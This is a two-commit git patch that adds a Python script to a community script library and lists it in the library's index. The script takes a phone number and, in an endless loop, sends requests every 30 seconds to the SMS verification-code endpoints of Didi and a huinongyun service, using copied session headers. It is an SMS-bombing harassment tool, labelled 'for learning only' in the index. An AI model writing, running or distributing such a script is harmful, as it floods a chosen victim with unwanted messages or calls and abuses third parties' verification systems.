From 757e05ae00d0d1fcca0b764eff1869c25e4160ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Thu, 26 Mar 2026 06:41:28 +0800 Subject: [PATCH 1/2] =?UTF-8?q?[=E6=8A=95=E7=A8=BF]=20=E6=B7=BB=E5=8A=A0?= =?UTF-8?q?=E8=84=9A=E6=9C=AC:=20=E4=B8=83=E6=9C=88=E5=8D=95=E6=AC=A1?= =?UTF-8?q?=E7=94=B5=E8=AF=9D=20=E2=80=94=20by=20=E4=B8=83=E6=9C=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../scripts/basic/script_mn6mob7u.py | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 script_library/scripts/basic/script_mn6mob7u.py diff --git a/script_library/scripts/basic/script_mn6mob7u.py b/script_library/scripts/basic/script_mn6mob7u.py new file mode 100644 index 0000000..0dfc799 --- /dev/null +++ b/script_library/scripts/basic/script_mn6mob7u.py @@ -0,0 +1,56 @@ +import requests +import json +import time + +print('七月') +def send_code(phone_number): + url = 'https://epassport.diditaxi.com.cn/passport/login/v5/codeMT' + headers = { + 'Host': 'epassport.diditaxi.com.cn', + 'Connection': 'keep-alive', + 'Content-Length': '455', + 'Mpxlogin-Ver': '5.5.1', + 'content-type': 'application/x-www-form-urlencoded', + 'secdd-authentication': '49afb436f1b4de01ccd95876718546a2ee095f5762fd80e5b45c6017a80b6d73e09ebd0ba9c3ef1cd29888d9ca528e19bf0e73cf9401000001000000', + 'secdd-challenge': '3|2.0.11||||||', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.56(0x1800382d) NetType/WIFI Language/zh_CN', + 'Referer': 'https://servicewechat.com/wx9e9b87595c41dbb7/491/page-frame.html' + } + data = { + 'q': '{"api_version":"1.0.1","appid":35011,"role":1,"device_name":"iPhone XS Max China-exclusive","sec_session_id":"BxdYpEmKtRAjVQKCUbzheJtWBkjiT5ZYQ1S4k8ZpEQEbICRRc7Iom6gG3EFtcOYj","policy_id_list":[50008256],"policy_name_list":[],"ddfp":"","lang":"zh-CN","wsgenv":"","cell":"转换手机号","country_calling_code":"+86","code_type":1,"scene":1}' + } + # 替换手机号 + data['q'] = data['q'].replace('"cell":"转换手机号"', f'"cell":"{phone_number}"') + + try: + response = requests.post(url, headers=headers, data=data) + if response.status_code == 200: + print(response.text) + else: + print("请求失败") + return None + except requests.RequestException as e: + print("发生网络错误,状态码:{e}") + return None +def send_code2(phone_number): + url = f'https://stdch5.huinongyun.cn/api-uaa/validata/smsCode/{phone_number}/voc' + + try: + response = requests.get(url) + if response.status_code == 200: + print(response.text) + else: + print("请求失败") + return None + except requests.RequestException as e: + logging.error(f"发生网络错误: {e}") + return None + +phone = input("手机号:") + +while True: + send_code(phone) + time.sleep(30) + send_code2(phone) + time.sleep(30) From 0acb7855b1d46f6ea62564b5e91afe297f1d1654 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Thu, 26 Mar 2026 06:41:30 +0800 Subject: [PATCH 2/2] =?UTF-8?q?[=E6=8A=95=E7=A8=BF]=20=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=20index.json:=20=E6=B7=BB=E5=8A=A0=20=E4=B8=83=E6=9C=88?= =?UTF-8?q?=E5=8D=95=E6=AC=A1=E7=94=B5=E8=AF=9D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- script_library/index.json | 27 +++++++++++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git a/script_library/index.json b/script_library/index.json index 8f8afd4..beeaef0 100644 --- a/script_library/index.json +++ b/script_library/index.json @@ -1,7 +1,7 @@ { "format_version": 1, - "data_version": 25, - "updated": "2026-03-24T04:56:02.107Z", + "data_version": 26, + "updated": "2026-03-25T22:41:30.062Z", "announcement": null, "categories": [ { @@ -658,6 +658,29 @@ "updated": null, "status": "active", "lines": 560 + }, + { + "id": "script_mn6mob7u", + "name": "七月单次电话", + "name_en": "七月单次电话", + "desc": "可以机器人给打电话,仅供学习!", + "desc_en": "可以机器人给打电话,仅供学习!", + "category": "basic", + "file": "scripts/basic/script_mn6mob7u.py", + "thumbnail": null, + "version": 1, + "file_type": "py", + "author": "七月", + "author_en": "七月", + "tags": [ + "community" + ], + "requires": [], + "min_app_version": "1.5.0", + "added": "2026-03-25", + "updated": null, + "status": "active", + "lines": 57 } ] }